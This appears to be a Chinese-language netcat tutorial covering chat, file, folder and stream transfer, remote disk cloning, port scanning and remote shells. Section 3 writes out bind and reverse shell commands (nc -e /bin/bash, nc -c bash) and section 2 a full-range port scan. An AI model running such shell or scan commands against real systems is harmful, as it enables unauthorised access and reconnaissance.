文章目录
简介
netcat,我们需要把它拆分成2部分来看,net cat,在Linux环境下,我们常用cat来输出文件内容,因此,在网络环境下,加上一个net,与Linux环境进行区分。
参数
参数 | 作用 |
---|---|
-g | <网关> 设置路由器跃程通信网关,最多可设置8个 |
-G 指向器数目 | 设置来源路由指向器,其数值为4的倍数 |
-h | 在线帮助; |
-i 延迟秒数 | 设置时间间隔,以便传送信息及扫描通信端口; |
-l | 使用监听模式,管控传入的资料; |
-n | 直接使用IP地址,而不通过域名服务器; |
-o 输出文件 | 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; |
-p 通信端口 | 设置本地主机使用的通信端口; |
-r | 乱数指定本地与远端主机的通信端口; |
-s 来源位址 | 设置本地主机送出数据包的IP地址; |
-u | 使用UDP传输协议扫描,不加默认为TCP扫描; |
-v | 显示指令执行过程; |
-w 超时秒数 | 设置等待连线的时间; |
-z | 使用0输入/输出模式,只在扫描通信端口时使用。 |
-e | program to exec after connect |
-c | as `-e’; use /bin/sh to exec |
功能分类
1.信息传输(聊天,文件传输,文件夹传输(压缩),流媒体传输,远程克隆)
2.端口扫描
3.远程控制
3.Telnet
1.信息传输
1.1 聊天
需要一个机器作为服务器并开放一个端口侦听,另一个机器作为客户端连接这个服务器的这个端口
①A机器 :服务器 接收端
nc -l -p 333
l 侦听,p 指定端口号
②B机器 :客户端
nc -nv 1.1.1.1 333
1.1.1.1 服务器IP。 333 服务器开放的端口。
连接成功后以边输入文本信息,另一边就可以收到。
1.2 文件传输
①A:接受端 服务器。侦听,并将接收的数据保存到文件
nc -lp 333 > 2.mp4
l 设定为侦听。p 指定端口。 > 将接收到的信息写入2.MP4文件
②发送端 客户端
nc -nv 1.1.1.1 333 < a.mp4 -q 1
-q 表示给发送的信息加EOF结尾。1表示等待1秒后中断连接。
1.3文件夹传输(压缩)
A:发送端 侦听 服务器
tar -cvf - 目标文件/ | nc -lp 333 -q 1
先把目录打包,再传输给333端口.
-q 给文件结尾加上EOF。1 等待一秒后终端连接
B:接受端
nc -nv 1.1.1.1 333 | tar -xvf -
连接333端口,解压目录
1.4 流媒体传输
A:发送流
cat a.mp4 | nc -lp 333
B:接收流,并把流给我们的媒体播放器(我们这里是mplayer)播放
nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
1.5 远程克隆
用于远程电子取证。将目标服务器硬盘远程赋值。
A:接收
nc -lp 333 | dd of=/dev/sda
B:发送
dd if= /dev/sda | nc -nv 1.1.1.1 333 -q 1
1.6 高级应用-文件加密传输,管道加密
1.6.1.1 文件加密传输
A:接收端 解密保存
B:发送端 加密传输
rijndael-256 是加密算法方式
ecb 是加密模式
箭头处要输入密码,解密的时候要输入加密时候的密码。
2.端口扫描
nc -nvz 1.1.1.1 1-65535
nc -nvzu 1.1.1.1 1-65535
加u是UDP协议扫描,不加默认是TCP协议扫描。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
3.远程控制(创建远程shell)
正向:
nc -lp 333 -e /bin/bash 或者 nc -lp 333 -c bash
nc 1.1.1.1 333
反向:
nc -lp 333
nc 1.1.1.1 333 -c bash
windows用户把bash改成cmd
netcat缺点及解决方法
1.netcat工具缺乏身份验证,别人都可以连接我开放的端口。
2.不同的系统对应的netcat工具的参数功能不尽相同。
解决:ncat可以弥补这个缺点(ncat包含于nmap工具包中)
ncat -c bash --allow 192.168.1.1 -vnl 333 --ssl
ncat -nv 1.1.1.1 333 --ssl
–allow : 允许连接的IP
–ssl :管道加密